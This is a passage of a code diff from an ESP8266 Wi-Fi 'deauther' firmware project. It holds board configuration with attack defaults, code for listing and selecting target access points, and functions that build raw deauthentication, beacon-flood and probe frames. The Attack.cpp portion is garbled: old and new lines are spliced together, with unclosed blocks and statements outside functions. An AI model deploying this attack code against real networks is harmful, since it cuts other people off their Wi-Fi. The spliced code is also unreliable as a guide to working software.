// #define DSTIKE_USB_DEAUTHER_V2
// #define DSTIKE_DEAUTHER_WATCH
// #define DSTIKE_DEAUTHER_WATCH_V2
// #define DSTIKE_DEAUTHER_MINI
// #define DSTIKE_DEAUTHER_MINI_EVO
// #define LYASI_7W_E27_LAMP
// #define AVATAR_5W_E14_LAMP
// Forces formatting of SPIFFS and EEPROM ot startup
// #define FORMAT_SPIFFS
// #define FORMAT_EEPROM
// Forces a reset of all settings at startup
// #define RESET_SETTINGS
// ========== CONFIGS ========== //
// https://github.com/spacehuhntech/hackheld
#if defined(HACKHELD_VEGA)
// ===== LED ===== //
#define USE_LED true
#define LED_NEOPIXEL
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15 // D8
// ===== DISPLAY ===== //
#define USE_DISPLAY true
#define FLIP_DIPLAY true
#define SH1106_I2C
#define I2C_ADDR 0x3C
#define I2C_SDA 4 // D2
#define I2C_SCL 5 // D1
// ===== BUTTONS ===== //
#define BUTTON_UP 14 // D5
#define BUTTON_DOWN 12 // D6
#define BUTTON_A 2 // D4
#define BUTTON_B 0 // D3
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled
#elif defined(DISPLAY_EXAMPLE_I2C)
// ===== DISPLAY ===== //
#define SH1106_I2C
// #define SSD1306_I2C
#define I2C_ADDR 0x3C
#define I2C_SDA 5
#define I2C_SCL 4
// #define FLIP_DIPLAY true
// ===== BUTTONS ===== //
#define BUTTON_UP 14
#define BUTTON_DOWN 12
#define BUTTON_A 13
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 9
#define LED_MODE_BRIGHTNESS 10
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled
#elif defined(DISPLAY_EXAMPLE_SPI)
#define SH1106_SPI
// #define SSD1306_SPI
#define SPI_RES 5
#define SPI_DC 4
#define SPI_CS 15
// #define FLIP_DIPLAY true
// ===== BUTTONS ===== //
#define BUTTON_UP 0
#define BUTTON_DOWN 12
#define BUTTON_A 2
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 9
#define LED_MODE_BRIGHTNESS 10
#elif defined(MALTRONICS)
// ===== Reset ====== //
#define RESET_BUTTON 5
// ===== LED ===== //
#define LED_DOTSTAR
#define LED_NUM 1
#define LED_DOTSTAR_CLK 12
#define LED_DOTSTAR_DATA 13
#define LED_MODE_BRIGHTNESS 255
// ===== Web ===== //
#define WEB_IP_ADDR (192, 168, 4, 2)
#define WEB_URL "deauther.tools"
#elif defined(DSTIKE_D_DUINO_B_V5_LED_RING)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 12
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_BOY)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 10
#define BUTTON_DOWN 9
#define BUTTON_A 14
#define BUTTON_B 12
#elif defined(DSTIKE_DEAUTHER_V3_5) || defined(DSTIKE_NODEMCU_07_V2)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#elif defined(DSTIKE_DEAUTHER_OLED_V1_5_S)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED) || defined(DSTIKE_DEAUTHER_OLED_V1_5)
// ===== LED ===== //
#define LED_DIGITAL
#define LED_PIN_R 16
#define LED_PIN_B 2
// ===== DISPLAY ===== //
#define SSD1306_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V2) || defined(DSTIKE_DEAUTHER_OLED_V2_5) || defined(DSTIKE_DEAUTHER_OLED_V3)
// ===== LED ===== //
#define LED_DIGITAL
#define LED_PIN_R 16
#define LED_PIN_B 2
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V3_5) || defined(DSTIKE_DEAUTHER_OLED_V4) || defined(DSTIKE_DEAUTHER_OLED_V5) || defined(DSTIKE_DEAUTHER_MOSTER) || defined(DSTIKE_DEAUTHER_MOSTER_V2) || defined(DSTIKE_DEAUTHER_MOSTER_V3) || defined(DSTIKE_DEAUTHER_MOSTER_V4)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V6) || defined(DSTIKE_DEAUTHER_MOSTER_V5)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
#define RTC_DS3231
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_USB_DEAUTHER_V2)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 4
#elif defined(DSTIKE_DEAUTHER_WATCH) || defined(DSTIKE_DEAUTHER_MINI)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_WATCH_V2) || defined(DSTIKE_DEAUTHER_MINI_EVO)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
#define RTC_DS3231
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(LYASI_7W_E27_LAMP)
// ===== LED ===== //
#define LED_MY92
#define LED_MODE_OFF 0, 0, 0
#define LED_MODE_SCAN 0, 0, 255
#define LED_MODE_ATTACK 255, 0, 0
#define LED_MODE_IDLE 0, 255, 0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 4
#define LED_MY92_CLK 5
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#elif defined(AVATAR_5W_E14_LAMP)
// ===== LED ===== //
#define LED_MY92
#define LED_MODE_OFF 0, 0, 0
#define LED_MODE_SCAN 0, 0, 255
#define LED_MODE_ATTACK 255, 0, 0
#define LED_MODE_IDLE 0, 255, 0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 13
#define LED_MY92_CLK 15
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3)
// ===== LED ===== //
// #define LED_DIGITAL
// #define LED_PIN_R 16 // NodeMCU on-board LED
// #define LED_PIN_B 2 // ESP-12 LED
#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */
// ============================== //
// ========= FALLBACK ========= //
// ===== AUTOSAVE ===== //
#ifndef AUTOSAVE_ENABLED
#define AUTOSAVE_ENABLED true
#endif /* ifndef ATTACK_ALL_CH */
#ifndef AUTOSAVE_TIME
#define AUTOSAVE_TIME 60
#endif /* ifndef ATTACK_ALL_CH */
// ===== ATTACK ===== //
#ifndef ATTACK_ALL_CH
#define ATTACK_ALL_CH false
#endif /* ifndef ATTACK_ALL_CH */
#ifndef RANDOM_TX
#define RANDOM_TX false
#endif /* ifndef RANDOM_TX */
#ifndef ATTACK_TIMEOUT
#define ATTACK_TIMEOUT 600
#endif /* ifndef ATTACK_TIMEOUT */
#ifndef DEAUTHS_PER_TARGET
#define DEAUTHS_PER_TARGET 25
#endif /* ifndef DEAUTHS_PER_TARGET */
#ifndef DEAUTH_REASON
#define DEAUTH_REASON 1
#endif /* ifndef DEAUTH_REASON */
#ifndef BEACON_INTERVAL_100MS
#define BEACON_INTERVAL_100MS true
#endif /* ifndef BEACON_INTERVAL_100MS */
#ifndef PROBE_FRAMES_PER_SSID
#define PROBE_FRAMES_PER_SSID 1
#endif /* ifndef PROBE_FRAMES_PER_SSID */
// ===== SNIFFER ===== //
#ifndef CH_TIME
#define CH_TIME 200
#endif /* ifndef CH_TIME */
#ifndef MIN_DEAUTH_FRAMES
#define MIN_DEAUTH_FRAMES 3
#endif /* ifndef MIN_DEAUTH_FRAMES */
// ===== ACCESS POINT ===== //
#ifndef AP_SSID
#define AP_SSID "pwned"
#endif /* ifndef AP_SSID */
#ifndef AP_PASSWD
#define AP_PASSWD "deauther"
#endif /* ifndef AP_PASSWD */
#ifndef AP_HIDDEN
#define AP_HIDDEN false
#endif /* ifndef AP_HIDDEN */
#ifndef AP_IP_ADDR
#define AP_IP_ADDR { 192, 168, 4, 1 }
#endif /* ifndef AP_IP_ADDR */
// ===== WEB INTERFACE ===== //
#ifndef WEB_ENABLED
#define WEB_ENABLED true
#endif /* ifndef WEB_ENABLED */
#ifndef WEB_CAPTIVE_PORTAL
#define WEB_CAPTIVE_PORTAL false
#endif /* ifndef WEB_CAPTIVE_PORTAL */
#ifndef WEB_USE_SPIFFS
#define WEB_USE_SPIFFS false
#endif /* ifndef WEB_USE_SPIFFS */
#ifndef DEFAULT_LANG
#define DEFAULT_LANG "en"
#endif /* ifndef DEFAULT_LANG */
// ===== CLI ===== //
#ifndef CLI_ENABLED
#define CLI_ENABLED true
#endif /* ifndef CLI_ENABLED */
#ifndef CLI_ECHO
#define CLI_ECHO true
#endif /* ifndef CLI_ECHO */
// =============== LED =============== //
#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB)
#define LED_NEOPIXEL
#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */
#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#define LED_DIGITAL
#define USE_LED false
#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#define USE_LED true
#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#ifndef LED_PIN_R
#define LED_PIN_R 255
#endif /* ifndef LED_PIN_R */
#ifndef LED_PIN_G
#define LED_PIN_G 255
#endif /* ifndef LED_PIN_G */
#ifndef LED_PIN_B
#define LED_PIN_B 255
#endif /* ifndef LED_PIN_B */
#ifndef LED_ANODE
#define LED_ANODE false
#endif /* ifndef LED_ANODE */
#ifndef LED_MODE_OFF
#define LED_MODE_OFF 0, 0, 0
#endif /* ifndef LED_MODE_OFF */
#ifndef LED_MODE_SCAN
#define LED_MODE_SCAN 0, 0, 255
#endif /* ifndef LED_MODE_SCAN */
#ifndef LED_MODE_ATTACK
#define LED_MODE_ATTACK 255, 0, 0
#endif /* ifndef LED_MODE_ATTACK */
#ifndef LED_MODE_IDLE
#define LED_MODE_IDLE 0, 255, 0
#endif /* ifndef LED_MODE_IDLE */
#ifndef LED_MODE_BRIGHTNESS
#define LED_MODE_BRIGHTNESS 10
#endif /* ifndef LED_MODE_BRIGHTNESS */
// =============== DISPLAY =============== //
#ifndef DISPLAY_TIMEOUT
#define DISPLAY_TIMEOUT 600
#endif /* ifndef DISPLAY_TIMEOUT */
#ifndef DISPLAY_TEXT
#define DISPLAY_TEXT ""
#endif /* ifndef DISPLAY_TEXT */
#ifndef FLIP_DIPLAY
#define FLIP_DIPLAY false
#endif /* ifndef FLIP_DIPLAY */
#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI)
#define SSD1306_I2C
#define USE_DISPLAY false
#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
#define USE_DISPLAY true
#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
#ifndef I2C_ADDR
#define I2C_ADDR 0x3C
#endif /* ifndef I2C_ADDR */
#ifndef I2C_SDA
#define I2C_SDA 5
#endif /* ifndef I2C_SDA */
#ifndef I2C_SCL
#define I2C_SCL 4
#endif /* ifndef I2C_SCL */
#ifndef SPI_RES
#define SPI_RES 5
#endif /* ifndef SPI_RES */
#ifndef SPI_DC
#define SPI_DC 4
#endif /* ifndef SPI_DC */
#ifndef SPI_CS
#define SPI_CS 15
#endif /* ifndef SPI_CS */
// =============== BUTTONS =============== //
#ifndef BUTTON_UP
#define BUTTON_UP 255
#endif // ifndef BUTTON_UP
#ifndef BUTTON_DOWN
#define BUTTON_DOWN 255
#endif // ifndef BUTTON_DOWN
#ifndef BUTTON_A
#define BUTTON_A 255
#endif // ifndef BUTTON_A
#ifndef BUTTON_B
#define BUTTON_B 255
#endif // ifndef BUTTON_B
// ===== Reset ====== //
#ifndef RESET_BUTTON
#if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#define RESET_BUTTON 0
#else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#define RESET_BUTTON 255
#endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#endif // ifndef RESET_BUTTON
// ===== Web ===== //
#ifndef WEB_IP_ADDR
#define WEB_IP_ADDR (192, 168, 4, 1)
#endif // ifndef WEB_IP_ADDR
#ifndef WEB_URL
#define WEB_URL "deauth.me"
#endif // ifndef WEB_URL
// ======== CONSTANTS ========== //
// Do not change these values unless you know what you're doing!
#define DEAUTHER_VERSION "2.6.1"
#define DEAUTHER_VERSION_MAJOR 2
#define DEAUTHER_VERSION_MINOR 6
#define DEAUTHER_VERSION_REVISION 1
#define EEPROM_SIZE 4095
#define BOOT_COUNTER_ADDR 1
#define SETTINGS_ADDR 100
// ======== AVAILABLE SETTINGS ========== //
/*
// ===== ATTACK ===== //
#define ATTACK_ALL_CH false
#define RANDOM_TX false
#define ATTACK_TIMEOUT 600
#define DEAUTHS_PER_TARGET 25
#define DEAUTH_REASON 1
#define BEACON_INTERVAL_100MS true
#define PROBE_FRAMES_PER_SSID 1
// ====== SNIFFER ====== //
#define CH_TIME 200
#define MIN_DEAUTH_FRAMES 3
// ===== ACCESS POINT ===== //
#define AP_SSID "pwned"
#define AP_PASSWD "deauther"
#define AP_HIDDEN false
#define AP_IP_ADDR {192, 168, 4, 1}
// ===== WEB INTERFACE ===== //
#define WEB_ENABLED true
#define WEB_CAPTIVE_PORTAL false
#define WEB_USE_SPIFFS false
#define DEFAULT_LANG "en"
// ===== CLI ===== //
#define CLI_ENABLED true
#define CLI_ECHO true
// ===== LED ===== //
#define USE_LED true
#define LED_DIGITAL
#define LED_RGB
#define LED_NEOPIXEL
#define LED_MY92
#define LED_ANODE false
#define LED_PIN_R 16
#define LED_PIN_G 255
#define LED_PIN_B 2
#define LED_NEOPIXEL_RGB
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 255
#define LED_MODE_OFF 0,0,0
#define LED_MODE_SCAN 0,0,255
#define LED_MODE_ATTACK 255,0,0
#define LED_MODE_IDLE 0,255,0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 4
#define LED_MY92_CLK 5
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#define LED_MY92_MODEL MY92XX_MODEL_MY9231
#define LED_DOTSTAR
#define LED_NUM 1
#define LED_DOTSTAR_CLK 12
#define LED_DOTSTAR_DATA 13
// ===== DISPLAY ===== //
#define USE_DISPLAY false
#define DISPLAY_TIMEOUT 600
#define FLIP_DIPLAY false
#define SSD1306_I2C
#define SSD1306_SPI
#define SH1106_I2C
#define SH1106_SPI
#define I2C_ADDR 0x3C
#define I2C_SDA 5
#define I2C_SCL 4
#define SPI_RES 5
#define SPI_DC 4
#define SPI_CS 15
// ===== BUTTONS ===== //
#define BUTTON_UP 255
#define BUTTON_DOWN 255
#define BUTTON_A 255
#define BUTTON_B 255
// ===== Reset ====== //
#define RESET_BUTTON 5
// ===== Web ===== //
#define WEB_IP_ADDR (192, 168, 4, 1)
#define WEB_URL "deauth.me"
*/
// ========== ERROR CHECKS ========== //
#if LED_MODE_BRIGHTNESS == 0
#error LED_MODE_BRIGHTNESS must not be zero!
#endif /* if LED_MODE_BRIGHTNESS == 0 */

View File

@ -1,314 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Accesspoints.h"
Accesspoints::Accesspoints() {
list = new SimpleList<AP>;
}
void Accesspoints::sort() {
list->setCompare([](AP& a, AP& b) -> int {
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
return 1;
});
list->sort();
changed = true;
}
void Accesspoints::sortAfterChannel() {
list->setCompare([](AP& a, AP& b) -> int {
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
return 1;
});
list->sort();
changed = true;
}
void Accesspoints::add(uint8_t id, bool selected) {
list->add(AP{ id, selected });
changed = true;
}
void Accesspoints::printAll() {
prntln(AP_HEADER);
int c = count();
if (c == 0) prntln(AP_LIST_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
void Accesspoints::printSelected() {
prntln(AP_HEADER);
int max = selected();
if (selected() == 0) {
prntln(AP_NO_AP_SELECTED);
return;
}
int c = count();
int j = 0;
for (int i = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
void Accesspoints::print(int num) {
print(num, true, true);
}
void Accesspoints::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(AP_TABLE_HEADER);
prntln(AP_TABLE_DIVIDER);
}
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
prnt(leftRight(String(SPACE), getEncStr(num), 5));
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) {
prntln(AP_TABLE_DIVIDER);
}
}
String Accesspoints::getSSID(int num) {
if (!check(num)) return String();
if (getHidden(num)) {
return str(AP_HIDDE_SSID);
} else {
String ssid = WiFi.SSID(getID(num));
ssid = ssid.substring(0, 32);
ssid = fixUtf8(ssid);
return ssid;
}
}
String Accesspoints::getNameStr(int num) {
if (!check(num)) return String();
return names.find(getMac(num));
}
uint8_t Accesspoints::getCh(int num) {
if (!check(num)) return 0;
return WiFi.channel(getID(num));
}
int Accesspoints::getRSSI(int num) {
if (!check(num)) return 0;
return WiFi.RSSI(getID(num));
}
uint8_t Accesspoints::getEnc(int num) {
if (!check(num)) return 0;
return WiFi.encryptionType(getID(num));
}
String Accesspoints::getEncStr(int num) {
if (!check(num)) return String();
switch (getEnc(num)) {
case ENC_TYPE_NONE:
return String(DASH);
break;
case ENC_TYPE_WEP:
return str(AP_WEP);
break;
case ENC_TYPE_TKIP:
return str(AP_WPA);
break;
case ENC_TYPE_CCMP:
return str(AP_WPA2);
break;
case ENC_TYPE_AUTO:
return str(AP_AUTO);
break;
}
return String(QUESTIONMARK);
}
String Accesspoints::getSelectedStr(int num) {
return b2a(getSelected(num));
}
uint8_t* Accesspoints::getMac(int num) {
if (!check(num)) return 0;
return WiFi.BSSID(getID(num));
}
String Accesspoints::getMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
}
String Accesspoints::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(getMac(num));
}
bool Accesspoints::getHidden(int num) {
if (!check(num)) return false;
return WiFi.isHidden(getID(num));
}
bool Accesspoints::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
}
uint8_t Accesspoints::getID(int num) {
if (!check(num)) return -1;
return list->get(num).id;
}
void Accesspoints::select(int num) {
if (!check(num)) return;
internal_select(num);
prnt(AP_SELECTED);
prntln(getSSID(num));
changed = true;
}
void Accesspoints::deselect(int num) {
if (!check(num)) return;
internal_deselect(num);
prnt(AP_DESELECTED);
prntln(getSSID(num));
changed = true;
}
void Accesspoints::remove(int num) {
if (!check(num)) return;
prnt(AP_REMOVED);
prntln(getSSID(num));
internal_remove(num);
changed = true;
}
void Accesspoints::select(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
}
}
void Accesspoints::deselect(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
}
}
void Accesspoints::remove(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
}
}
void Accesspoints::selectAll() {
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
prntln(AP_SELECTED_ALL);
changed = true;
}
void Accesspoints::deselectAll() {
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
prntln(AP_DESELECTED_ALL);
changed = true;
}
void Accesspoints::removeAll() {
while (count() > 0) internal_remove(0);
prntln(AP_REMOVED_ALL);
changed = true;
}
int Accesspoints::find(uint8_t id) {
int s = list->size();
for (int i = 0; i < s; i++) {
if (list->get(i).id == id) return i;
}
return -1;
}
int Accesspoints::count() {
return list->size();
}
int Accesspoints::selected() {
int c = 0;
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
return c;
}
bool Accesspoints::check(int num) {
if (internal_check(num)) return true;
prnt(AP_NO_AP_ERROR);
prntln((String)num);
return false;
}
bool Accesspoints::internal_check(int num) {
return num >= 0 && num < count();
}
void Accesspoints::internal_select(int num) {
list->replace(num, AP{ list->get(num).id, true });
}
void Accesspoints::internal_deselect(int num) {
list->replace(num, AP{ list->get(num).id, false });
}
void Accesspoints::internal_remove(int num) {
list->remove(num);
}

View File

@ -1,80 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "SimpleList.h"
#include "Names.h"
extern Names names;
extern String searchVendor(uint8_t* mac);
extern String leftRight(String a, String b, int len);
extern String fixUtf8(String str);
extern String bytesToStr(const uint8_t* b, uint32_t size);
struct AP {
uint8_t id;
bool selected;
};
class Accesspoints {
public:
Accesspoints();
void sort();
void sortAfterChannel();
void add(uint8_t id, bool selected);
void print(int num);
void print(int num, bool header, bool footer);
void select(int num);
void deselect(int num);
void remove(int num);
void select(String ssid);
void deselect(String ssid);
void remove(String ssid);
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
String getSSID(int num);
String getNameStr(int num);
String getEncStr(int num);
String getMacStr(int num);
String getVendorStr(int num);
String getSelectedStr(int num);
uint8_t getCh(int num);
uint8_t getEnc(int num);
uint8_t getID(int num);
int getRSSI(int num);
uint8_t* getMac(int num);
bool getHidden(int num);
bool getSelected(int num);
int find(uint8_t id);
int count();
int selected();
bool check(int num);
bool changed = false;
private:
SimpleList<AP>* list;
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_remove(int num);
};

View File

@ -1,473 +1,472 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Attack.h"
#include "settings.h"
Attack::Attack() {
getRandomMac(mac);
}
if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) {
// 1s beacon interval
beaconPacket[32] = 0xe8;
beaconPacket[33] = 0x03;
} else {
// 100ms beacon interval
beaconPacket[32] = 0x64;
beaconPacket[33] = 0x00;
void Attack::generate() {
if (debug) Serial.print("\n generating MACs...");
Mac _randomBeaconMac;
uint8_t _randomMacBuffer[6];
beaconAdrs._clear();
for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
do {
_randomBeaconMac.randomize();
} while (beaconAdrs.add(_randomBeaconMac) >= 0);
if (debug) Serial.println("done");
macListChangeCounter = 0;
}
void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
packetSize = 0;
for (int i = 0; i < sizeof(deauthPacket); i++) {
packet[i] = deauthPacket[i];
packetSize++;
}
for (int i = 0; i < 6; i++) {
//set target (client)
packet[4 + i] = _client._get(i);
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}
//set type
packet[0] = type;
packet[24] = reason;
}
void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
packetSize = 0;
int ssidLen = _ssid.length();
if (ssidLen > 32) ssidLen = 32;
for (int i = 0; i < sizeof(beaconPacket_header); i++) {
packet[i] = beaconPacket_header[i];
packetSize++;
}
if(settings.beaconInterval){
beaconPacket_header[32] = 0xe8;
beaconPacket_header[33] = 0x03;
}
for (int i = 0; i < 6; i++) {
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}
packet[packetSize] = 0x00;
packetSize++;
packet[packetSize] = ssidLen;
packetSize++;
for (int i = 0; i < ssidLen; i++) {
packet[packetSize] = _ssid[i];
packetSize++;
}
for (int i = 0; i < sizeof(beaconPacket_end); i++) {
packet[packetSize] = beaconPacket_end[i];
packetSize++;
}
packet[packetSize] = _ch;
packetSize++;
if (encrypt) {
for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
packet[packetSize] = beaconWPA2tag[i];
packetSize++;
}
}
deauth.time = currentTime;
beacon.time = currentTime;
probe.time = currentTime;
}
void Attack::start() {
stop();
prntln(A_START);
attackTime = currentTime;
attackStartTime = currentTime;
accesspoints.sortAfterChannel();
stations.sortAfterChannel();
running = true;
void Attack::buildProbe(String _ssid, Mac _mac) {
int len = _ssid.length();
if (len > 32) len = 32;
packetSize = 0;
for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
packetSize += sizeof(probePacket);
for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);
packet[packetSize] = len;
packetSize++;
for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
packetSize += len;
for (int i = 0; i < sizeof(probePacket_RateTag); i++) packet[packetSize + i] = probePacket_RateTag[i];
packetSize += sizeof(probePacket_RateTag);
}
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
